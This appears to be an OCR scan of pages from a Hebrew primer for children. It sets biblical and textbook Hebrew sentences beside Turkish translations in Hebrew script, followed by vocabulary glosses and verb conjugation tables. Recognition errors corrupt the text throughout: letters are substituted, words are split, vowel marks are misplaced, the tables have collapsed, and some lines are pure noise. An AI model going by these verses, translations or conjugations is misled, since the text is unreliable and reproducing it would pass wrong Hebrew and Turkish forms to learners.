בּאייראמיני נררא אידגיכ פיניז ?
איי אילן פנא , סאדיק אילן יראמז , סגא עבאדת אידן אילן סגא
עבּאדת אידמייניג אראפינדא פרק אידיג'י שחיל. אללה פן סין . רבבייא
יירלאגיז , רבּבּיי מרח אידיגיז , זירא מיסכיניג: ג'אניני פנא אידיג'ילריג
אלינדן חלאס איילדי . אנאם בגא בוגון ביר ייני ג'ובא גיידיררי. אקאם
דון שהריג פוקראלריני אבינא צאגירדי וא אנלרא אמכ וא אם יידיררי ,
(חלק ₪ 34
24 לרגל הילדים
יקשה לבבן- ורעה. עינף באחיף האביון ולא תעזר לו. ביום- צרֶתו , .אל
נא, אחי , תרעו,. מהנדפר ומה נצטרק+ כי בעונותינו ובְעונוּת אבותינו
ירושלם ועמף לחרפה לכל סביבותינו + עד מתי- תשתכר.ותשתגע והיית
לשחוק לכל רואיף + חכמת חכמי העם הזה תאבד ובינת נבוניו תפתתר..
למה גרשתוני מהפתפח. בנחלת יהוה?. מלכתגו חסה עינה , על היתומים
האלה . היא -חלבישתם בגדים חמים .. אתה הוא האלהים אשר האכלתגו
מן במדבר ארבעים: שנה והשבעתנו את טובף הגדול . אלהים לא תקלל
ונשיא בעמף לא תאר .
בו יציפ צוג'וגי רון סוקאקדא צוכ בַּלְבְַּר צוורדילר וא או יאלינניז
אידי וא בּראבּרינדא ביר כימסא יוק אידי כּי אני כופכלרדן קורטארא. דן
בבאמיג יאסיניג גונלרי (יאם גונלרי) תמאם אולדולר . אנאנוב. יאסיניג
נונלרי חצאן תמאם אולורלר + בן אמשיב. אוגונרא. אוטוררים. וא. בּנאית
איסינדים. רושמאנלרימיני;: אטלרי. קראכושלרר; זיידא ייניל = אולדולר
(קל). בן גנדי גהלרימרא ייגיל אולדום (כור אולדום) וא בגימיג אומונרא
אגזימי אצמאיא קאדיר אולמאם. סיז דושמאנלרימיזיג שהרלריני. - זאש
איטדיגיגיזדרא: או שהרלריג. אולג'אלריני . טלאדיגיו. מי + אגר.. אללהינ
סימארלריני סאקלר איס:יז אללה דושמאגלריגיזיב שתרלריני סיזיב אליניזיא
ויריר וא אנלרי: אולג'אלריני טלאר. סיגיז וא אנלריג מופראגיני מוראסלר
סיגיז. סיו הצאן סכה באייראמיני (באיוראב). אודג'ב סיגיז+ שרה גרבקה!
סיז פפח באייראמיני הצאן (באייראם) אירג'כ סיגיז? אנאם וקיזקרדשים +
פיז נא איצון בו אדמי קרגאדיגיז גארר) וא או איסא -- אנדא חיץ ביר קבחת
יוק דיר . קרדשלרים: בוניחק אדמי סוכמייאסיגיז (ארר) . סניג גהלריגרא
פנא אולמאסין כּי סניג איסטריגוג גיבּי אורונימי אוגרנמרים זירא בּן דון
כפסיולנדים, נא יאזמאיא נא אוקומאיא, קאדיר דגיל אידים. בו טורכּי
לרי סוגונא קדר. (אנלר תכּמיל אולונג'א. קדר). יאזא בילמדים זירא צוק
גוגלר כפסיז אידים וא סלט בוגון יאטאגימדן קאלקרים. (יא. יאטאגימרן
קאלקמארים אנג'א בוגון . בייאן וא. סבין, אי רו זירא פארשאהיב. =
אני אללה אניג ג'אניגי אראיאנלריג אלינדן חלאם.איילדי , סן בו כתאבי
חצאן יאזמאיא באשלארי2 ? קיזקרדשים! פן 2.א ביר יי,י. ג'ובא ריכמייָא
חצאן באשלאייג'ק סין+ אנאם דון בו. כתאבי אוקומאיא באשלאדי ,
אממא בוגון אני תכּמיל. אולונג'א אוקוייא. בּילמדי זירא כתאב אוזון דיר .
אוגלנלרים: יולֶלריגיוי פנא אידמאיא סיגיז וא פנא אידיג'ילר אילן גזמייא-
סיגיו. בי בּיציב: קיו דון יאלינכיו אורמאנא גיטדי וא אני אורדא בורולר
לרגר היכרים 3
ימוּתוּ . הָאויבִים סבבו הָעִיר וישְבָיה בַרְחו ללה וְנָשָאָר בָּה אָנִי וְּנִי בִיתִי
לְבַהָנוּ שב בָה עד הם כָּל הַלְחֶם וְאחַר יַצָאנוּ נם אַנְתנוּ ַנָתָן בּירִי
אויבִינוּ . את הַאִגָרַת אֶשַר ַּתַבְתָּ לא ָכלְתִי לְקְרְאָה עד תָּמָהּ כִּי הַמַּבְתָב
לזיו רַע מָאר ולא יכל לְהִקְרָא . כָּל הַבְּהָמָה ושלל הֶעָרִים בַּזונוּלנוּ, כָּל
הַבְּתָמָה בָּזנוּ לְנו ְלֶל הָטְרִים אָשֶר לְכְְנוּ. בּוּם הַהוּא יושיע יוה אֶת
עמו יִשְרְאָר מִיָך. הגוים ושללו אֶת שלְלִיהֶם וזו אֶת בּזזִיהֶם. בז כָסַ
בו זֶהָב : כּה אָמַר יְהוָה אֶלְהִים הנָה עְבְרִי יאבלו ְאַתֶם תִרְעְבו הַנָּה עִבָדִי
ישתו וְאַתֶם תִצְמָאו הָנָה עְבָרִי יַשְמַחו וְאַתֶּם חָּבשוּ: הנה עְבָרִי - מטו
לב ְאַתֶּם תִצְעְקוּ כְכְאָב לב . חָבְמוּת בַּחוּץ רגה ₪=תֶרְנִינֶה) . נ השלח
אֶת הַוּנָה מַאֶתו מן הַתָּבָה לְרְאות הַקלו הַמִים מַעַל פּני הָאַרמָה , חר
בְּחָמִשָה טְשָר יום לַחרָש הַשְבִיעִי נַתג אֶת חַג הסְכות. כּהנִיהָ חמסו תורתי
ויחללו שי בִין דש לְחל לא הַבְדִילוּ וּבִין הטָמָא לְמָהור. לא הורִיעו
ּמשְבְּתותי י הַטְלִימוּ עיניהם ם וְאַחֶל בְּתוכֶם . לא למַענְכֶם אַנִי עשָה, בת
שְרְאֶל , כִּי אָם אנג'א לשָם קדשי אָשָר ללְקָם תֶם בּגום וְְדשְתִי אֶת שמי
הנדו הַמַחֶלֶ בְּגיָם אָשַָר לת בְּתוּבֶם ְירְעו הגוי כִּי אִָי הוה .
ויאמר אליהו אל העם אני נותרתי נביא לוה לבדי ונביאי הַבַּעל
ארבע מאות וחמשים איש ; ויאמר קנא (= קְנָא) קנאתי ליהוה אלהי
צבאות כי עזבו בריתף בני ישראל את מובחותיף הרָסו , ואת נביאי
הרגו בחרב ואותר אני לבדי ויבקשו את נפשי לקחתה ללא אֶתַכֶם לבדכם
אני כרת את הברית הזאת ₪ לבדף חטאתי והרע בעיניף עשיתי .
משה ואחרן אמרו אל פרעה כה אמר יהוה שלח את עמי ויחגו לי
במדבר , חגי יהודה (3ּוראדא יהודה מיללת מראמינדא דיר אניג איצון נקבה דיר)
חגיף שלמי נדריך . ויאמר יהוה אל אברם לך לף מארצף וממולדתךך
אל הארץ אשר אַרְאָךָ = ארְאֶך): ואעשהלגוי גדול: ואברכך ואגדלה שמ
ְהיָה ברכה + ואברכה מברכיף ומקללף אָאר ונברכו בף כל משפהות
האדמה . , יקללו המה ואתה תברף . ארורים אתם כי הקלותם. אביכם
ואמכם . אב ואם הַקּלוּ כ=הַקָלו) בך . ואת שם קדשי אודיע בתוף עמי
ישראל ולא אַחָל את שם קדשי עוד וידעו הגוים כי. אני יהוה קדוש
בישראל . חופו על עבדיכם והקלו מעליהם את העבודה כי כבדה היא
מהם : תקמידי ! למה תקלו את אביכם ואמכם ולא תשמעו לקולם ?+ אז
הוחל לקרא בשם יהוה . האויבים לכדו את העיר ויחלו לשלל ₪ ולבז
בז. קומי רני בלילה שפכי כמים לבף . רננו צדיקים ביהוה לישרים
נאוה תחלה , כי שמחתני יהוה בפעליף במעשי ידיף ארנן. השמר לך פן
25 לרגל הילרים
מל שופט בְּאְמָת דַּלִים כָּסְאו לָעַד יָכון . הָאֶל תָּמִים דּרָּו1 אָמְרַת
ִחזֶה צָרוּפָה מָגן הוּא לְבָל הַחוּסִים בו יְהוָה בַּשָמַיִם כְּסְאו יניו יָחָז
טפְּטַפִי ִבְחנוּ בי אָדֶם . חַסִידָה בְּוּשִים בִּיתָה. אַתָּה הַצַבְת כָּל גבולות
אֶרֶץ קיץ וְחרֶף אתה י צרְתָּם. וְגַם אֶת ב הָאָמָה לְגוי אשינו בי זרְטך הוא.
הוה הָבִיא רְעָה על בּני שְרְאֶל פּרִי מחשבוַם' , כּי על דִּבָרָיו לא הקשִיבו
ותורתו ומאו בָה. מִפְּרִי הַעַץ אֶשָר בְּתוך הַגָּן אָמַר אֶלהִים לא תאכלו
כַמָצוּ ןלא תְגְעו בו פּן תמותון . אֶת כָּל אַנְשִי בִיתִי הָעְבַרְתִּי אַתֶם אֶת
הַנָהָר הַיוּם מִלְבַד ְּנותִי אָשָר אַעַבִירן אֶת הנָהֶר מַהֶר . אֶת הַדָּבֶר אָשָר
אְבָּר אָלִיף אתו הדְבָר . הָאִיש אשר נמ צַא הגְבִיע בּיָרוּ הוּא יְהִיָה לי עַבָר.
הָאָשָה אֶשָר נָתַתָּה (=נְתַתָּ עמָדִי היא נָתְנָה לי מן הָעֶץ ָאכָל . אַתָה הוא
הָאֶלהִים בד אַתָּה עשת אֶת הַשָמִיִם שמי השְמִים וכל צִבְאָס הָאָרֶץ
ְבְְדְאָשֶר עְלִיה חַיְמִי וְכָלהאשֶר בְּהָס וְאַתה מַחִיָה אֶת כְּלָם וְּבָא הַשָמִים
ל משְתְְִּים.. אָמר אָמַרְתִי בת וּבִית אָבִיךְ יתלבו לפָני עד עולֶם
עַתָה חָלִילָה לי ִ ב"כ ִבַבָּד ובעי וקלו . חָלִילָה לָף מַעשת כַּדבָר
הזה לְתָמִית יק עם ךר שָע הָיָה בצדיק בֶּרְטָע חָרִילָה לך, השופט בָּ
הָאָרֶץ לא י: ַעָשֶה מִשְפָט ה לי יה מש די בשי ה . חָלִילָה
משי, הוה הא וש העם האר ל לו עול אה" היה להינו
עבר אֶלְתִים אֶחָרִים ; כִּי יִהוָה אַלקינוּ הוא הַמַעָלָה אתנוּ וְאֶת אָבותִינו
מַאָרֶץ מִצְרִים כַבִּית עבָדִים וְאָשֶר עשֶה לְָעינִינוּ את הָאתות הדלות
הָאלָה ַיִשְמְרָנוּ בְּבֶל הַדַכך אַשֶר הָלבָנוּ בה וּבְכָל הָעַמִים אֶשַר עברו
ְִּרְבְּ, וִנְרָש יְהיָה אֶת כָּל הָעמִים ישָבִי הָאָרֶץ מִפָּנו ג אִנְחָנוּ נעָבה
אֶת ְהוָה כִּי הא אֶלְהִי ינוּ.
טוּבִים הַשָנִיָ מֶן הָאֶחֶדר אֶשר - שכר טוב בַּעַמָלֶם; כִּי אָם
יפלו הָאֶה ד יקים ם את חִכָרו אי לו הָאֶחָד שיפל וְאִין שני להַקימו; גָם אם
ישְבּבוּ שנִם וְחַם לְהֶם וּלְאֶחָד אַיך יִחֶם . וה ל אשד תָּ כָּל הְעם לעכ
ובר ארון יְהוָה וְהַבְהְנִים לְפְנִי הָעַס . תָּם עונך בת צִיון לא יוסף
להגלותַך . - ובר ישי שבעת בָּנִי לְפּנְי שמואָל ויאמר שמואל אֶל ישי
לא בָּתַר יְהוָה בְּאָלָה: ויאמר ר שמואל אל ישי הַתָמוּ הנערים ויאמַר עור
שאַר מקטן היה העה בּצאן ִמָר שמואֶל אֶל ישי שלתה וְקַתָנו כִּי לא
נסב. עד באו פה או בוראיא נלינג א . הָעֶץ הַזה לא יתם פּרִיו בָּ השנה .
ברכ יֶהוָה, בָּנִי, ולא יתם כ כַכִיסָ כֶּ וי ולא מִחְסַר קָבר . אָני
יהוָה דַבַּרְתִּי, זאת אָעָשה לָכָל הָעְרָה הַרְעָה הַוּאת בַּמַרְבָּר הזה יתמו ופ
לרגל
אנְחנו יִמִנוּ כַּצַל וְאִהָה חוא וּשְמְתיףּ לא
תמו
הוה אל ! אתה החלות. לְהַרָאוּת אֶת
עַבְדֶף את גִרְלַף ות יר המהה,
אֶשָר מִי אֶל בשמים. וּבְארֶץאָשָר
ששה כמעשיף - וכנבורוסִיף ?
א היא חָאשֶה אֶשֶר לא חֶסרף דְכֶד
מיום הוּלְרֶךָ עד היום ם הוה .
אַתֶם הַם הְרשָעים אָשָר - לא הִישָנוּ אם
לא סַרְעִי לה שנְְכֶם...
הַעשר הִזָּה נבָהּ לבו וַרְמוּ עִינִיו מָאד .
אִפָּה רְ ברוף רכים מִשָמן.
נַס אנכִי ו חָלִילֶה לי מתטא ליה וה ך מַחַָר 5
ְהְָּלֶל ב בערְכם .
חַלִילָה לִי מַהוָה מַתִפִּי את נְחָלַת אַבותי
לִךְּ..
אה הִרְאִית לדעת כי יְהוָה הוא הָאָלהִים
אין עוד. מִלְבַרו .
מן הַשָמִיִם חִשָמָשַף אֶת קולו ליפרך
לס תל סְטרֶץ הרט
אֶת אֶשו הַגְדוּלֶה ורבריו שָמָעַת
מְתּךָ הָאָש .
הילדים 241
בו -- ביוים גונלרימיז כּולגא ניבי ריר , סן
איסא -- כניג ייללרוג דוכנמזלר .
יא רבּבי אללה ! סן קולונא ביוכליניני וא
קוותלי אליני (קודרתיני)גוסטורמייא
באשלארינ , זירא כּים גוכדא וא
ירדא כניג גיבּי אללה/ כּי. סניג
אישלריג וא ג'בּבּארליקלרין. בי
אודא ?
סן אוולא קרי סין כּי רוגדוני . גונינרן בו
גונא: קדר ביר שיירא נוקסאנליק
גורממיש סון .
סיו אוולא יראמזלר סיניו כּי פנאליק אירמז
אוסניז אווומאז סיניו = וא = שכוניו
זולומלאניר (קאצר) .
בו זגיניג גונלו פּכּ אוכסכ אולדו וא
גוולרי | 39 אוכסכ | אולרולר
(פורוללנדי)
בּבּאם בו אוכסוו פוקראלרי אג'ירי .
סני ג'וואבלריג יאנרן מילאיים דיר ;
בן רא איסא -- בּנדן אוואק אולא כּי בן
רבבייא נונאחכר אולאיים וא סוזיג
איצון רינ'א אירמכרן ואו נצאיים !
רבכיג טראפינרן בנדן אוואק אולא כּי בן
בּבאלרימי1 מילכיני סנא ויראוים .
סן גוסטורולדיג = (סנא. גוסטורולרי) "וא
בילמליסין כּי רבבי, אללה אודיר,
אנרן ניירי דחי יוק דיר .
סני אונוטלמכ איצון גוכרן סנא
אשיטטיררי , וא ייר אוזרינדא סגא
אטשיני. \ נוסטוררי , * וא
כלאמלריני אטשיג = איצינרן
ססיני
ביוכ
אשיסטון ,
200
ף (כְּנָפים , כַּנְפִי י -
פאר ,א
סתאבו, קנארלי (יעני קוש
חרף , ' קיש .
+ יאז:
. תויוור
הושץ, 7 יאן יימישי.
;
בעל 0 באגיג אדי).
.
בן , , טלאב '
. / א\אור -=סור
ו , אובסכליב
הבסכליני
,
גבה לב, קלב אובסבי
פודולליק .
חל , 1 ייגולליב
טרסי).
חָסִירָה , חָסִירָה קל
| קַרְטָאל ).
מרמה (נםצ)נ 4 , עיינאג 01 "לוב,
נצָה (נעא) נ'. סויי, קוש
מויי. . פוך י
אָחָר. (אֶחָרִים .. אַתַרָת
א חרוו ת) גירי. .
חְבַר (ל' חָבר ,
ארקרדש , אורטאקג'י ,
שָבָּת (שבּפי ,
5 שבתות)
ש= וו
חכרים)
!'- -
3 שִבִּתו
,
שבָּת ,
ד
בובינג'י .
הפטאייג. = יורי
-ווי-- הווייר
/ ו | 20
בְעַד (בְּעָרי
הַדָלֶת בְערִי,
איצון, סָנָר
אוזרימא קאפויי אורטרי
ער = עומרלוב , אזר
עו .ו
ער , אברי דאגכר > לער
אבחן , דוניָיא: יא :קדר.
לעוּלֶם וער ,- היגיוא. יא
קדר ,
בּין כפִינף , בּנִי) , אראסינרא
בינו וביניף בנים אילן
סניג אראנדא כ חכם
ד
וכו סיל בון> חכם
₪ 0 ל ה
לכסל , עקללי
ג'אהולי: אראסינרא > בין
איש לאוש , אכו. ארס
אראסינד 8
או ! ואיי ; אי לו ! ואיי אגא!
לרור נסבו ₪
יוהרז
אֶתָמל בָּעַת ערֶב רְשָעִים רְכִים נְסְבוּ על
הבית אֶשָר כןן ו יִשְבָה אמוי ל
בת .
ם לה זג את
ד
לאשי ביתנוּ הלכו לירוּשלם
חנ ַָכת, לבר
אשר נשאָרן לְבְבן בכית .
מא חותי
האויָכִים בזזו את-שֶלל עירנו ולא הותירו
מַאוּמָה מַלּבַ הַלחם אשר יאָכַל .
--=ו
₪ 5 =
--
[ המשו קת
+
הַשר קְרָא אֶל אֶשָר עָשָה אֶת
כּל-אָנש יי העיר וָושָב אֶת הקרואים
ב /
את ' האַנשִים לְבַר ו אה הנש שים לְכָר
0
/ הס
יש לפָנִיהֶם לְאָכל
כַרְן
להן כ .
*<--
דון אכשם וקתנרא או אבי כּי אנדא אנאם
יאלינגיז אוטורור אידי צוק. יהאמזלר
צוורלדילר וא אני אזלרורמיוא וא
אברא הה נא כּי ואר :איסא
טלאמאיא פיכר איטרולר ,
אבימיזין ג'ומלא כּישילרי ורושלם נא ספה
באייראמיני אירמצ איצון ניטדילר,
קיוקרדשלרימרן מאעדא כּי אברא
קאלדילר".
- דושמאנלר שהרימיזיג ג'ומלא אולנ' אסינו
טל: לאדילר וא יולנ'-
2
ואלין וו
2-7
גבמכ רן
יוו
בּיך שיי קאלרורמאדילר .
ג'ומלא
צאנירדי וא דעוותלילרי
וא רישילרי
בשקנ'א אוטורגוזדי וא אנלריג אונונא
(אַרכּכלרא). וא א:לרא
₪ ואפדיני זוואפתא , זהרין
כישילריני
ארככלרי בשקג'א
אנלרא
(קרילרא
קודו (יימפ ורד .
. י
בשקג'א בשקנ'א ימייא
בד אי ב (ִבַזֶה==בְָוָה ;
בּוּ==בָזו ; בּזונו==5זזנו;
עת' יב , ַבוו) טלאדי ,
בָּן שלל, אולג'א טלאדי.
חג או חָנְג (עתי ותג, ינ
בינוני, חנ באייראם
איטדי, חגייליכ נא ניטדי :
באייראמליק ירושלם גא
גיטדי.
חם , (עת' יָחם , יְחמו)
סיג'אק אולרו., איסינדי
קיזינדי .
חַלַל , ליש אולדו , לישא
דונדו , אולדי. נחַל (עתי
ָחַל , מקור הַחָלּ) , ייגיל
אולדו . כור אולדו (עזיז
שיי איצון), חְלָל , ייגיל
איטדי , כור איטדי .
הַתַל (הַחְלות כמ
הַחִלוְַ) באשלארי : ייגיל
איטדי , עזיזי כור איטדי.
רע, כעת' יְרְעָ), | פנא
אולחו . הָרָע או הרע
(הרעוף, הַרְעתֶם) פנא
איטדי , פנאליק איטדי. -
רע או רְעַע , געת' ירע
סינדי , קירילדי 0%
קל (עה' *וקל מיקלו) = יוניל
אולרו | כור אולדו. כור
נורונדי . קל או מל,
ייגיל אולדו, כור, כּיציכ
אולדו . הכל , קארגאדי ,
הקל או הקל (עתי יקל י
יקרו) ייגיל איטדי.
לרגל הילדים
רנ או רן, כעת' יָרן, ירנ ,
קיצקירדי, סְבינץ סרראתי
אילן בּאגיררי, סְָבינדי ,
בייאנדי: רנָן , (ירנן)
סבינדי , בייאנדי + הרנין
יַרְנִין) סבינדירדי .
הּם עתי *יְתַם *יִהְמוּ או
*יחָמוּ) טוגל, דורום
אולדו , תבמיל אולדי ,
ביטדי . דוכנדי . הַתֶם י
טונל איטדי ,| תכמיל
איטדי, דוכטדי , בּיטטירדי.
אָרֶר (עתי יָאר , = יאר
קרגאדי , לענת וירדי , בי
דועא ויררי .
שֶלֶל (שַלותי , שללוּ ,
ישל ישלו או 0 מקי
של או של-6 אולג'א אלדי.
אולג'א טלאדי .
בחן (יבחן) סינאדי , תג'ריבא
איטדי , י נבתן , תגריבא
אולונדי . אספאד אולונדי.
חָמַד (יָחמד) סוקלאנדי ,
גנדי., | ביר נוז
- פוראקרי, ביר שיי בירינד
זורונא אלדי .
חַלֶק (יחלק) יילמא, אימשאק
אולדו , הְחַלִיק , יילמ ,
אימשאק איטרי התליק
לשון, 9 ראטלי איטדי.
דאטלי דיללי אולדו .
חִמַס (יחמם) זולומלארי .
שייא
29
חְסַר (יָחִסֶר) אסיכ אולדו .
נוקסאן אולרו , ביר שיי
רא אחתייאג'
אולדו , לְאַחַָרְפידְבֶר
ביר שיירא נוקסאנלינים
יוק דיר , יוק אירי.
עָלַם (יעלם) גיזלדי נָעָלם ,
ניזלי אולדיי, העלים 2
גיזקרי - העלִים עין מַצִי,
בּנרן מז אורטרי, בגא
אעתיבאר אידמדי .
נָפָל (יָפָל) דושדי , אכפיכ
אולדי,כָם אולרי . לא נוּפַל
אנכ מִכַּם | בן סיזרן כּם
דניל אים .
נַח קל מש' נוח , עת' יַנְוּחַ)
רחתלנדי , קונָדי, הניח ,
רחת איטדי, רתתליק וירדי.
צַץ (קל משי ציץ, עת' יָציץ)
ציצב אצרי , ציצכלרי
כ פַּ ה (עת' עם וי"ו ההפוך וַיַיף)
דילבּר אולרי .
חִוֶה (יִחוָה) ורדי. באקרי .
נזאר. איולדי .
נותר (ותר) קאלרי ,
הותיר , קאלרירדי . -
ארמטיררי .
בּרוש (1) ז' שימשר (דירכ)
ציץ () ד, ציצכ .
עפעפים (1) כּירפיבלר .
קיר 2, רב" קירות 2111)
דוואר , היסאר .
אנוש (רבי 8% ; אנש ;
>אויתטי
כש9ה],
אַרטדי
אשי כישי
6 : קרגל הילדים
קל< יםב מב ויסם-
הפע'ל יסב , | יסב ויסב או ויסב
הָאל תָמִים דרו =
יהוה בִּשמִים או 9
6 הָעם הָעָבִיר אתו= הְעָבִיר אֶת הְעָם .
יץ וחרף * אתה יַצַרְתִּס = צפה יָצַרְסּ קיץ וְחרְף -
5 ימינ כַּצַל | == ימו כל :
אתה אלחַייְרְיף עשוי = אלמי !ד עשי -
ָרֶף הָאל תָּמִים :
כָּסָא יהוָה בשמים .
לְבָש', גיידי י הַלְבִּיש , ניירורדי , הַלְבִּיש אתִי , הַלְבְּישָנִי,
ב פימי ד אב ייה
רְאֶה , צוררי ; הַרְאֶה | נוסטורדי, הראה 0 קרי
בני נורמייא מג'בור איטדי, בגא גוסטוררי .
יידי . הָאָבִיל , יידי , ה אתי , הָאָכִילְנִי
בני ימייא מג'בור איטדי, ב:א יידירדי .
שמַע, אשיטרי, השמ אשימטיררי . הַשְמִיע אתי ה
י אשיטמייא מגיבור איטדי בגא אשיטטיררי ,
אבל ,
שמיעני
דלי נורונדי .
םי צ' שי . שָנָע, הפעל הִשֶתִגַע ,
שכר | * השַתִּכָּר , פרחוש גורונדי. .
סתר , הסְתְתַר ניזלי אולרו .
ספת | < הסְתּפת כושולדי , סיגינרי .
עד "יש הצק דוגרו אולדי, ננדיני דוגרוייא -
ציקרמאיא טלאב איטדי .
ד' מ' ת'. דבר | . הדִּבֶּך , פולשרי,
טהר , | המהר, פאכלאנדי.
תמם - | התמם, טל אולהו :
* הְשְתַחְיָה, הִשְתַּחַוְתָה 69.
שֶתְחוְיתָ , השתחוו וכ".
עתיר. יַשתְחָוָה נישתחו) ,
תש טְתַהוֶה; ישתחוו , השתחוי וכ" .
צווי < הש ְתַחוָה, הַשְתִחָוִי; | בינוני - מש תַחָיָה , משַתְּחָיָה וכו" .
מקור > הַשְחָוָה; הַשְתָּחוּת, לְהַשְתְחוות וכ" .
התִפּעָל
9 ₪
:
ליו
ךז
:
[ ש
כ ציים כ ביעם גל ל
סוכב צורלדי . כובב צוורלנדי . התנולל יובארלנדי .
| לזכר | לנקבה | לזכר לנקכה | לזכר | לנקבה
ו . ו
מוכב סבְבָה . ...| סוב סובה | | התגוכל. | הִתְגוּלְלָה
| | בב | סבבְ.. | סבב | פבבת. | התגוקלת | הַתִגוּלְלְת
> | פבבְתי .| סְבְכְתּי, | סבְבָתי = | סובבתי | הַתְגוללְתי| התגוללתי
סבָבו | | בבו: == | סובְבוּ = | סבב | תתגוללוּ. | הַתְגוּלְקו
" | סַבַבְתֶם. | בבק | פוכבקם: | סובבְפָן. :| קַתְגוּללְתּם| התְגוּללְת
סובְבְנוּ | | כובבְנו | סוּבְבְוּ | סוּבבְנוּ' = | התגוללנוּ | התגוללנו
יכב | | תְסוּבָב: = |יסובב = |תפובב: | יתגולל . | תתגורל
| | תבב | תִּפוּבְבִי | תָסוכב | | תְּוּבְבִי | תִתִגוּכָל = | תתנוללי
- |אַפּבָב = | אַפוְבב מ אַסוּבָב: | אַתְגוָלֶל | אַתִגוּקָל
ל | יבב = | תסובבנה | יסובבו = . | תפובְבְנָה |ותגוללוּ | תִתְגְולְלְנָה
> | תְסּבְבוּ | | תִסובבְנָה | תסובבוּ: | תפובבנה | תתגוללו | תתגוללנה
נסבָב = | נְסוּבֶב = | נְסובב = |נְסיבב: | |גְתְגוּלֶל: | נתגולל"
- |שמב = | פובפי הַתְוּלָל | הַתְגוּלְלִי
- | פבָבוּ = | סבַבְנָה הַתְגוּלְלוּ | הְַגולְלְנָה
: [ \. . . : -
מְסוּבָב | | מפובכה = ו מִסיבָּב = | מַסוּבַבָּה | מתגולל | מתגוכלה
2 % 9% % %ו ו לג 6%
מִסבְבִים | מסוכבות | מִסוּבָבִים | מסוּבָבות | מתגוּללים | מתגוללות
5 : 2 : , "> 4 "ו :
5
נפרר.. סוב ב הַתַגולֶל
נסמף. סובכ , בסוכב הִתְגוּלֶל. בְּהַתְגוֶּל
\
₪
-
| .0.546
----------.--.-.-.-.-3.-.-.-.-- 2------ יי
(הלק ראשון) 4
26 לרגל | הילרים*
יב תְסְבָינָה
מס | | תֶסִיבָנָה
--- -
= יסב
יוּסְבו תוּסַבְּינָה
תוסכו תוּסְבִינָה
נוּסב נוסב
הוּסב הוּסִבָה
הוּסָבּוּתָ = | הוּסבות
הוּסְכוּתִי: = | הוסבותי
| הַסַבּו הַסְבּו | -
הַסְותם | הֶסָּתֶן | | הוּסָבּמֶם | הסְבותָן
הַסְבּונוּ הסְבּונו הוּסבּונוּ = = | הוּסכונו
יָסָבָב) | | תִסָב סב נִפָב = | תוָּב
| תִסֶב תִּפָב) | תֶסְבִּי תוּמָב . |
- | אֶסָב אֶתָב אוב אוּסב.
9=
4
הַסָב הָסְבָּה
,= | הָסְבּה הַסְבּות
,. | הַסְכותִי הסבותי
ןהה << "ה 7
סבב ב
--
בב , צוורְאלדי סב , צווראלנדי
: : סבה
סַּתָ | |פות |סֶבבְף |סָבָבָּ = | נסַוּתָ | נפָבות
7 |סַּוּתִי = | סבותי | | סְבַבְִי | ְבַבְִּי. | נְסַבּוּתִי = | גְַבּותִי
ל|פ |פּ פב |פָבְטּ |נְּ |נָסְבו
סּקָם | סַבּותָן | סְבַבְתַס. | סְבַבְפָן = | נְסַבּתֶם. | נְסּתן
סָבט = |מפונו | | סְבְבְטּ | | סָבַבְנוּ | נִפַבּונוּ = | נסבונו
תֶסַב יסב תִּפכב | |ִמָב תֶסָב
תפָבִּי | |תְב |תְסבִי | |תְפָב | | תִסַבִּי
אָסב אָסב אֶסב אֶפַב אֶסַב
תסְבְינָה | יפכו תִּפִבָנָה | יִפָבו תִסָבִינָה
* . .
תִּסְבֶּינָה (מֶּסבוּ | | תְסבְנָה | תִּמָבוּ | | תִסַבִינָה
נ[פב נסב נמב נפַב
ַבִ הפב | | הִסִָ
בלה | || הסה
1
ו
! 5 / ו
,ו
ש
.+
שמא ב:באשמשמא"שש קמתשר. - ב מהשטוהרימיהקט קק|| | רצנ מ 7 ו 0
₪ ש
+ 2 7 4 תו :
7 8 ₪ נש :
6 9 4% ל ₪
א המות מו
--
ש| סָב סבָה | | סכָב | | פבְכָה
ל-| סָנִּים = | סָבוּת | | סַבָבִים = | פבָבות
ט : 5
6 | ]פמ | |סְבָה || נָקָ' | |ְַבָה
2 | ב סבובות | סָבִּים | נְסבות
הָפב
לְסָבב | הַפב, בְּהַמָב
24
לרגל הילרים
לָטְח תשב לְבְדֶך פה , נא איצון בורדא יאלנניו אוטורוייר סין 4
אמ הַלְבָה לְבַדּה , | אנאם יאלינלז ניטדי .
ָנִי נַשָאָרו 0 אוגלאנלרים יאלינגיז קאלרילר .
לְבַד מִתלְמִידִי , = תלמירלרימדן מאערא. (מעדרא) .
יכָד מִנָדָרִיכֶם , | אנייתלריגיורן מאעדא .
לבר מַמָני , בנדן מאעדא , בנדן ניירי .
מלבר בָנִי, אוגלומרן מאעדא , אונלומרן גלירי .
מִלְבֶר תרדיס , ג'ומלא אינייתלריניזרן מאעדא .
אין עור מַלְבדו ; אנדן מאעדא יוק דיר .
- לְכָד ונוי לְבֶך, אתלאנלרים בשקניא וא קיזלרים באשקאניא . .
הַעַבְרִים לְבָד וְהַשְפָּחוּת לב , קללר בשקג'א חלאייקלר בשקניא .
חַלִילָה , האשא : אוזאק אולא : אללה סאקלאיא !
חָלִילָה לא חמות , חאשא (אללה סאקלא יא) + אולמז סין .
הלילה לִי בנדן אוזאק אולא , בנדן אוזאק דיר .
חַלִילָה לְאֶל מַרְשָע , חאשא אללה יראמזליק (אנריליב) דן , אללה. דן
אנריליפ איראק דיר .
חָלִילֶה לי מַעשות ואת , בוני אידמכ בנדן אוזאק אולא . חאשא. בן
. בוני אידמם .
חָלִילֶה לי מִיהוֶה, אללהיג טראפינדן בו בנדן אוזאק אולא ;
חָלִירָה לי מִיהוָה אָם אֶעָשָה אללהיג טראפינדן בנרן אוזאק אולא כי בן
אֶת הִרְּבֶר הזה . בּו אישי אידאיים . אללה סאקלאיא! בן
בו אישי אירמם .>
אַתה הוא הַאֶלהִים לְבַרּּ, אלה יאלינגיז סן סין , אללה סאלט סן סין +
אַתָּה הוּא הָאֶלהִים אָשָר | אבר ני פאיילאיאן אללה סן סין .
בְּחַרְתּ בָּאַבָרֶם ,
לרגל הילדים 28
ביזי יוללאר איסן ואריר איז . תלמידלרים ! צביכ אולוניז וא אישלריגיזי. .
תכמיל אידיגיז . ּן בוגון סיזי בוראקמאם , אנג'א אגר אישלריגיזי תכמיל
אידר איסגיז . יעקב אוולדלרינא דועא וירופ תכמיל איטדיגי גּיבּי יטאגינא
יאטדי וא אולום יוכוסיני. יוכלאדי . בגא איי דיר כּי סניג רסמלריגי
אוגרנמכ איצון קיינאלדים . נא איצון סיוא אמר אולונדיגי גיב אידמדיגיז
